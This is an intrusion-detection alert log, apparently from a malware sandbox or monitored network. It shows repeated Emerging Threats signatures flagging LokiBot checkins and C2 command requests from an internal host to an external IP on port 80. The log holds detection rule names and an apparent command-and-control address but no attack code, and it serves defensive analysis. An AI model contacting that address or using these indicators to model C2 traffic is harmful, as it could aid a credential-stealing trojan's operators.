11/25/21-10:52:33.165058	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50362	80	192.168.11.20	176.223.209.128
11/25/21-10:52:33.165058	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50362	80	192.168.11.20	176.223.209.128
11/25/21-10:52:33.165058	TCP	2025381	ET TROJAN LokiBot Checkin	50362	80	192.168.11.20	176.223.209.128
11/25/21-10:52:33.165058	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50362	80	192.168.11.20	176.223.209.128
11/25/21-10:52:33.675960	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50363	80	192.168.11.20	176.223.209.128
11/25/21-10:52:33.675960	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50363	80	192.168.11.20	176.223.209.128
11/25/21-10:52:33.675960	TCP	2025381	ET TROJAN LokiBot Checkin	50363	80	192.168.11.20	176.223.209.128
11/25/21-10:52:33.675960	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50363	80	192.168.11.20	176.223.209.128
11/25/21-10:52:34.188796	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50364	80	192.168.11.20	176.223.209.128
11/25/21-10:52:34.188796	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50364	80	192.168.11.20	176.223.209.128
11/25/21-10:52:34.188796	TCP	2025381	ET TROJAN LokiBot Checkin	50364	80	192.168.11.20	176.223.209.128
11/25/21-10:52:34.188796	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50364	80	192.168.11.20	176.223.209.128
11/25/21-10:52:34.702326	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50365	80	192.168.11.20	176.223.209.128
11/25/21-10:52:34.702326	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50365	80	192.168.11.20	176.223.209.128
11/25/21-10:52:34.702326	TCP	2025381	ET TROJAN LokiBot Checkin	50365	80	192.168.11.20	176.223.209.128
11/25/21-10:52:34.702326	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50365	80	192.168.11.20	176.223.209.128
11/25/21-10:52:35.210581	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50366	80	192.168.11.20	176.223.209.128
11/25/21-10:52:35.210581	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50366	80	192.168.11.20	176.223.209.128
11/25/21-10:52:35.210581	TCP	2025381	ET TROJAN LokiBot Checkin	50366	80	192.168.11.20	176.223.209.128
11/25/21-10:52:35.210581	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50366	80	192.168.11.20	176.223.209.128
11/25/21-10:52:35.688599	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50367	80	192.168.11.20	176.223.209.128
11/25/21-10:52:35.688599	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50367	80	192.168.11.20	176.223.209.128
11/25/21-10:52:35.688599	TCP	2025381	ET TROJAN LokiBot Checkin	50367	80	192.168.11.20	176.223.209.128
11/25/21-10:52:35.688599	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50367	80	192.168.11.20	176.223.209.128
11/25/21-10:52:36.166352	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50368	80	192.168.11.20	176.223.209.128
11/25/21-10:52:36.166352	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50368	80	192.168.11.20	176.223.209.128
11/25/21-10:52:36.166352	TCP	2025381	ET TROJAN LokiBot Checkin	50368	80	192.168.11.20	176.223.209.128
11/25/21-10:52:36.166352	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50368	80	192.168.11.20	176.223.209.128
11/25/21-10:52:36.667414	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50369	80	192.168.11.20	176.223.209.128
11/25/21-10:52:36.667414	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50369	80	192.168.11.20	176.223.209.128
11/25/21-10:52:36.667414	TCP	2025381	ET TROJAN LokiBot Checkin	50369	80	192.168.11.20	176.223.209.128
11/25/21-10:52:36.667414	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50369	80	192.168.11.20	176.223.209.128
11/25/21-10:52:37.177630	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50370	80	192.168.11.20	176.223.209.128
11/25/21-10:52:37.177630	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50370	80	192.168.11.20	176.223.209.128
11/25/21-10:52:37.177630	TCP	2025381	ET TROJAN LokiBot Checkin	50370	80	192.168.11.20	176.223.209.128
11/25/21-10:52:37.177630	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50370	80	192.168.11.20	176.223.209.128
11/25/21-10:52:37.684362	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50371	80	192.168.11.20	176.223.209.128
11/25/21-10:52:37.684362	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50371	80	192.168.11.20	176.223.209.128
11/25/21-10:52:37.684362	TCP	2025381	ET TROJAN LokiBot Checkin	50371	80	192.168.11.20	176.223.209.128
11/25/21-10:52:37.684362	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50371	80	192.168.11.20	176.223.209.128
11/25/21-10:52:38.201110	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50372	80	192.168.11.20	176.223.209.128
11/25/21-10:52:38.201110	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50372	80	192.168.11.20	176.223.209.128
11/25/21-10:52:38.201110	TCP	2025381	ET TROJAN LokiBot Checkin	50372	80	192.168.11.20	176.223.209.128
11/25/21-10:52:38.201110	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50372	80	192.168.11.20	176.223.209.128
11/25/21-10:52:38.676993	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50373	80	192.168.11.20	176.223.209.128
11/25/21-10:52:38.676993	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50373	80	192.168.11.20	176.223.209.128
11/25/21-10:52:38.676993	TCP	2025381	ET TROJAN LokiBot Checkin	50373	80	192.168.11.20	176.223.209.128
11/25/21-10:52:38.676993	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50373	80	192.168.11.20	176.223.209.128
11/25/21-10:52:39.142414	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50374	80	192.168.11.20	176.223.209.128
11/25/21-10:52:39.142414	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50374	80	192.168.11.20	176.223.209.128
11/25/21-10:52:39.142414	TCP	2025381	ET TROJAN LokiBot Checkin	50374	80	192.168.11.20	176.223.209.128
11/25/21-10:52:39.142414	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50374	80	192.168.11.20	176.223.209.128
11/25/21-10:52:39.619722	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50375	80	192.168.11.20	176.223.209.128
11/25/21-10:52:39.619722	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50375	80	192.168.11.20	176.223.209.128
11/25/21-10:52:39.619722	TCP	2025381	ET TROJAN LokiBot Checkin	50375	80	192.168.11.20	176.223.209.128
11/25/21-10:52:39.619722	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50375	80	192.168.11.20	176.223.209.128
11/25/21-10:52:40.167312	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50376	80	192.168.11.20	176.223.209.128
11/25/21-10:52:40.167312	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50376	80	192.168.11.20	176.223.209.128
11/25/21-10:52:40.167312	TCP	2025381	ET TROJAN LokiBot Checkin	50376	80	192.168.11.20	176.223.209.128
11/25/21-10:52:40.167312	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50376	80	192.168.11.20	176.223.209.128
11/25/21-10:52:40.668286	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50377	80	192.168.11.20	176.223.209.128
11/25/21-10:52:40.668286	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50377	80	192.168.11.20	176.223.209.128
11/25/21-10:52:40.668286	TCP	2025381	ET TROJAN LokiBot Checkin	50377	80	192.168.11.20	176.223.209.128
11/25/21-10:52:40.668286	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50377	80	192.168.11.20	176.223.209.128
11/25/21-10:52:41.168892	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50378	80	192.168.11.20	176.223.209.128
11/25/21-10:52:41.168892	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50378	80	192.168.11.20	176.223.209.128
11/25/21-10:52:41.168892	TCP	2025381	ET TROJAN LokiBot Checkin	50378	80	192.168.11.20	176.223.209.128
11/25/21-10:52:41.168892	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50378	80	192.168.11.20	176.223.209.128
11/25/21-10:52:41.613994	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50379	80	192.168.11.20	176.223.209.128
11/25/21-10:52:41.613994	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50379	80	192.168.11.20	176.223.209.128
11/25/21-10:52:41.613994	TCP	2025381	ET TROJAN LokiBot Checkin	50379	80	192.168.11.20	176.223.209.128
11/25/21-10:52:41.613994	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50379	80	192.168.11.20	176.223.209.128
11/25/21-10:52:42.127400	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50380	80	192.168.11.20	176.223.209.128
11/25/21-10:52:42.127400	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50380	80	192.168.11.20	176.223.209.128
11/25/21-10:52:42.127400	TCP	2025381	ET TROJAN LokiBot Checkin	50380	80	192.168.11.20	176.223.209.128
11/25/21-10:52:42.127400	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50380	80	192.168.11.20	176.223.209.128
11/25/21-10:52:42.627468	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50381	80	192.168.11.20	176.223.209.128
11/25/21-10:52:42.627468	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50381	80	192.168.11.20	176.223.209.128
11/25/21-10:52:42.627468	TCP	2025381	ET TROJAN LokiBot Checkin	50381	80	192.168.11.20	176.223.209.128
11/25/21-10:52:42.627468	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50381	80	192.168.11.20	176.223.209.128
11/25/21-10:52:43.136376	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50382	80	192.168.11.20	176.223.209.128
11/25/21-10:52:43.136376	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50382	80	192.168.11.20	176.223.209.128
11/25/21-10:52:43.136376	TCP	2025381	ET TROJAN LokiBot Checkin	50382	80	192.168.11.20	176.223.209.128
11/25/21-10:52:43.136376	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50382	80	192.168.11.20	176.223.209.128
11/25/21-10:52:43.624345	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50383	80	192.168.11.20	176.223.209.128
11/25/21-10:52:43.624345	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50383	80	192.168.11.20	176.223.209.128
11/25/21-10:52:43.624345	TCP	2025381	ET TROJAN LokiBot Checkin	50383	80	192.168.11.20	176.223.209.128
11/25/21-10:52:43.624345	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50383	80	192.168.11.20	176.223.209.128
11/25/21-10:52:44.069423	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50384	80	192.168.11.20	176.223.209.128
11/25/21-10:52:44.069423	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50384	80	192.168.11.20	176.223.209.128
11/25/21-10:52:44.069423	TCP	2025381	ET TROJAN LokiBot Checkin	50384	80	192.168.11.20	176.223.209.128
11/25/21-10:52:44.069423	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50384	80	192.168.11.20	176.223.209.128
11/25/21-10:52:44.502012	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50385	80	192.168.11.20	176.223.209.128
11/25/21-10:52:44.502012	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50385	80	192.168.11.20	176.223.209.128
11/25/21-10:52:44.502012	TCP	2025381	ET TROJAN LokiBot Checkin	50385	80	192.168.11.20	176.223.209.128
11/25/21-10:52:44.502012	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50385	80	192.168.11.20	176.223.209.128
11/25/21-10:52:45.027630	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50386	80	192.168.11.20	176.223.209.128
11/25/21-10:52:45.027630	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50386	80	192.168.11.20	176.223.209.128
11/25/21-10:52:45.027630	TCP	2025381	ET TROJAN LokiBot Checkin	50386	80	192.168.11.20	176.223.209.128
11/25/21-10:52:45.027630	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50386	80	192.168.11.20	176.223.209.128
11/25/21-10:52:45.511486	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50387	80	192.168.11.20	176.223.209.128
11/25/21-10:52:45.511486	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50387	80	192.168.11.20	176.223.209.128
11/25/21-10:52:45.511486	TCP	2025381	ET TROJAN LokiBot Checkin	50387	80	192.168.11.20	176.223.209.128
11/25/21-10:52:45.511486	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50387	80	192.168.11.20	176.223.209.128
11/25/21-10:52:46.026918	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50388	80	192.168.11.20	176.223.209.128
11/25/21-10:52:46.026918	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50388	80	192.168.11.20	176.223.209.128
11/25/21-10:52:46.026918	TCP	2025381	ET TROJAN LokiBot Checkin	50388	80	192.168.11.20	176.223.209.128
11/25/21-10:52:46.026918	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50388	80	192.168.11.20	176.223.209.128
11/25/21-10:52:46.539469	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50389	80	192.168.11.20	176.223.209.128
11/25/21-10:52:46.539469	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50389	80	192.168.11.20	176.223.209.128
11/25/21-10:52:46.539469	TCP	2025381	ET TROJAN LokiBot Checkin	50389	80	192.168.11.20	176.223.209.128
11/25/21-10:52:46.539469	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50389	80	192.168.11.20	176.223.209.128
11/25/21-10:52:47.049389	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50390	80	192.168.11.20	176.223.209.128
11/25/21-10:52:47.049389	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50390	80	192.168.11.20	176.223.209.128
11/25/21-10:52:47.049389	TCP	2025381	ET TROJAN LokiBot Checkin	50390	80	192.168.11.20	176.223.209.128
11/25/21-10:52:47.049389	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50390	80	192.168.11.20	176.223.209.128
11/25/21-10:52:47.487560	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50391	80	192.168.11.20	176.223.209.128
11/25/21-10:52:47.487560	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50391	80	192.168.11.20	176.223.209.128
11/25/21-10:52:47.487560	TCP	2025381	ET TROJAN LokiBot Checkin	50391	80	192.168.11.20	176.223.209.128
11/25/21-10:52:47.487560	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50391	80	192.168.11.20	176.223.209.128
11/25/21-10:52:48.019785	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50392	80	192.168.11.20	176.223.209.128
11/25/21-10:52:48.019785	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50392	80	192.168.11.20	176.223.209.128
11/25/21-10:52:48.019785	TCP	2025381	ET TROJAN LokiBot Checkin	50392	80	192.168.11.20	176.223.209.128
11/25/21-10:52:48.019785	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50392	80	192.168.11.20	176.223.209.128
11/25/21-10:52:48.541433	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50393	80	192.168.11.20	176.223.209.128
11/25/21-10:52:48.541433	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50393	80	192.168.11.20	176.223.209.128
11/25/21-10:52:48.541433	TCP	2025381	ET TROJAN LokiBot Checkin	50393	80	192.168.11.20	176.223.209.128
11/25/21-10:52:48.541433	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50393	80	192.168.11.20	176.223.209.128
11/25/21-10:52:49.054536	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50394	80	192.168.11.20	176.223.209.128
11/25/21-10:52:49.054536	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50394	80	192.168.11.20	176.223.209.128
11/25/21-10:52:49.054536	TCP	2025381	ET TROJAN LokiBot Checkin	50394	80	192.168.11.20	176.223.209.128
11/25/21-10:52:49.054536	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50394	80	192.168.11.20	176.223.209.128
11/25/21-10:52:49.554648	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50395	80	192.168.11.20	176.223.209.128
11/25/21-10:52:49.554648	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50395	80	192.168.11.20	176.223.209.128
11/25/21-10:52:49.554648	TCP	2025381	ET TROJAN LokiBot Checkin	50395	80	192.168.11.20	176.223.209.128
11/25/21-10:52:49.554648	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50395	80	192.168.11.20	176.223.209.128
11/25/21-10:52:50.100165	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50396	80	192.168.11.20	176.223.209.128
11/25/21-10:52:50.100165	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50396	80	192.168.11.20	176.223.209.128
11/25/21-10:52:50.100165	TCP	2025381	ET TROJAN LokiBot Checkin	50396	80	192.168.11.20	176.223.209.128
11/25/21-10:52:50.100165	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50396	80	192.168.11.20	176.223.209.128
11/25/21-10:52:50.619973	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50397	80	192.168.11.20	176.223.209.128
11/25/21-10:52:50.619973	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50397	80	192.168.11.20	176.223.209.128
11/25/21-10:52:50.619973	TCP	2025381	ET TROJAN LokiBot Checkin	50397	80	192.168.11.20	176.223.209.128
11/25/21-10:52:50.619973	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50397	80	192.168.11.20	176.223.209.128
11/25/21-10:52:51.114069	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50398	80	192.168.11.20	176.223.209.128
11/25/21-10:52:51.114069	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50398	80	192.168.11.20	176.223.209.128
11/25/21-10:52:51.114069	TCP	2025381	ET TROJAN LokiBot Checkin	50398	80	192.168.11.20	176.223.209.128
11/25/21-10:52:51.114069	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50398	80	192.168.11.20	176.223.209.128
11/25/21-10:52:51.626206	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50399	80	192.168.11.20	176.223.209.128
11/25/21-10:52:51.626206	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50399	80	192.168.11.20	176.223.209.128
11/25/21-10:52:51.626206	TCP	2025381	ET TROJAN LokiBot Checkin	50399	80	192.168.11.20	176.223.209.128
11/25/21-10:52:51.626206	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50399	80	192.168.11.20	176.223.209.128
11/25/21-10:52:52.072016	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50400	80	192.168.11.20	176.223.209.128
11/25/21-10:52:52.072016	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50400	80	192.168.11.20	176.223.209.128
11/25/21-10:52:52.072016	TCP	2025381	ET TROJAN LokiBot Checkin	50400	80	192.168.11.20	176.223.209.128
11/25/21-10:52:52.072016	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50400	80	192.168.11.20	176.223.209.128
11/25/21-10:52:52.565168	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50401	80	192.168.11.20	176.223.209.128
11/25/21-10:52:52.565168	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50401	80	192.168.11.20	176.223.209.128
11/25/21-10:52:52.565168	TCP	2025381	ET TROJAN LokiBot Checkin	50401	80	192.168.11.20	176.223.209.128
11/25/21-10:52:52.565168	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50401	80	192.168.11.20	176.223.209.128
11/25/21-10:52:53.024229	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50402	80	192.168.11.20	176.223.209.128
11/25/21-10:52:53.024229	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50402	80	192.168.11.20	176.223.209.128
11/25/21-10:52:53.024229	TCP	2025381	ET TROJAN LokiBot Checkin	50402	80	192.168.11.20	176.223.209.128
11/25/21-10:52:53.024229	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50402	80	192.168.11.20	176.223.209.128
11/25/21-10:52:53.467348	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50403	80	192.168.11.20	176.223.209.128
11/25/21-10:52:53.467348	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50403	80	192.168.11.20	176.223.209.128
11/25/21-10:52:53.467348	TCP	2025381	ET TROJAN LokiBot Checkin	50403	80	192.168.11.20	176.223.209.128
11/25/21-10:52:53.467348	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50403	80	192.168.11.20	176.223.209.128
11/25/21-10:52:53.974143	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50404	80	192.168.11.20	176.223.209.128
11/25/21-10:52:53.974143	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50404	80	192.168.11.20	176.223.209.128
11/25/21-10:52:53.974143	TCP	2025381	ET TROJAN LokiBot Checkin	50404	80	192.168.11.20	176.223.209.128
11/25/21-10:52:53.974143	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50404	80	192.168.11.20	176.223.209.128
11/25/21-10:52:54.487405	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50405	80	192.168.11.20	176.223.209.128
11/25/21-10:52:54.487405	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50405	80	192.168.11.20	176.223.209.128
11/25/21-10:52:54.487405	TCP	2025381	ET TROJAN LokiBot Checkin	50405	80	192.168.11.20	176.223.209.128
11/25/21-10:52:54.487405	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50405	80	192.168.11.20	176.223.209.128
11/25/21-10:52:54.982708	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50406	80	192.168.11.20	176.223.209.128
11/25/21-10:52:54.982708	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50406	80	192.168.11.20	176.223.209.128
11/25/21-10:52:54.982708	TCP	2025381	ET TROJAN LokiBot Checkin	50406	80	192.168.11.20	176.223.209.128
11/25/21-10:52:54.982708	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50406	80	192.168.11.20	176.223.209.128
11/25/21-10:52:55.566183	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50407	80	192.168.11.20	176.223.209.128
11/25/21-10:52:55.566183	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50407	80	192.168.11.20	176.223.209.128
11/25/21-10:52:55.566183	TCP	2025381	ET TROJAN LokiBot Checkin	50407	80	192.168.11.20	176.223.209.128
11/25/21-10:52:55.566183	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50407	80	192.168.11.20	176.223.209.128
11/25/21-10:52:56.047377	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50408	80	192.168.11.20	176.223.209.128
11/25/21-10:52:56.047377	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50408	80	192.168.11.20	176.223.209.128
11/25/21-10:52:56.047377	TCP	2025381	ET TROJAN LokiBot Checkin	50408	80	192.168.11.20	176.223.209.128
11/25/21-10:52:56.047377	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50408	80	192.168.11.20	176.223.209.128
11/25/21-10:52:56.526257	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50409	80	192.168.11.20	176.223.209.128
11/25/21-10:52:56.526257	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50409	80	192.168.11.20	176.223.209.128
11/25/21-10:52:56.526257	TCP	2025381	ET TROJAN LokiBot Checkin	50409	80	192.168.11.20	176.223.209.128
11/25/21-10:52:56.526257	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50409	80	192.168.11.20	176.223.209.128
11/25/21-10:52:57.024559	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50410	80	192.168.11.20	176.223.209.128
11/25/21-10:52:57.024559	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50410	80	192.168.11.20	176.223.209.128
11/25/21-10:52:57.024559	TCP	2025381	ET TROJAN LokiBot Checkin	50410	80	192.168.11.20	176.223.209.128
11/25/21-10:52:57.024559	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50410	80	192.168.11.20	176.223.209.128
11/25/21-10:52:57.529845	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50411	80	192.168.11.20	176.223.209.128
11/25/21-10:52:57.529845	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50411	80	192.168.11.20	176.223.209.128
11/25/21-10:52:57.529845	TCP	2025381	ET TROJAN LokiBot Checkin	50411	80	192.168.11.20	176.223.209.128
11/25/21-10:52:57.529845	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50411	80	192.168.11.20	176.223.209.128
11/25/21-10:52:58.031683	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50412	80	192.168.11.20	176.223.209.128
11/25/21-10:52:58.031683	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50412	80	192.168.11.20	176.223.209.128
11/25/21-10:52:58.031683	TCP	2025381	ET TROJAN LokiBot Checkin	50412	80	192.168.11.20	176.223.209.128
11/25/21-10:52:58.031683	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50412	80	192.168.11.20	176.223.209.128
11/25/21-10:52:58.610007	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50413	80	192.168.11.20	176.223.209.128
11/25/21-10:52:58.610007	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50413	80	192.168.11.20	176.223.209.128
11/25/21-10:52:58.610007	TCP	2025381	ET TROJAN LokiBot Checkin	50413	80	192.168.11.20	176.223.209.128
11/25/21-10:52:58.610007	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50413	80	192.168.11.20	176.223.209.128
11/25/21-10:52:59.074621	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50414	80	192.168.11.20	176.223.209.128
11/25/21-10:52:59.074621	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50414	80	192.168.11.20	176.223.209.128
11/25/21-10:52:59.074621	TCP	2025381	ET TROJAN LokiBot Checkin	50414	80	192.168.11.20	176.223.209.128
11/25/21-10:52:59.074621	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50414	80	192.168.11.20	176.223.209.128
11/25/21-10:52:59.567879	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50415	80	192.168.11.20	176.223.209.128
11/25/21-10:52:59.567879	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50415	80	192.168.11.20	176.223.209.128
11/25/21-10:52:59.567879	TCP	2025381	ET TROJAN LokiBot Checkin	50415	80	192.168.11.20	176.223.209.128
11/25/21-10:52:59.567879	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50415	80	192.168.11.20	176.223.209.128
11/25/21-10:53:00.086672	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50416	80	192.168.11.20	176.223.209.128
11/25/21-10:53:00.086672	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50416	80	192.168.11.20	176.223.209.128
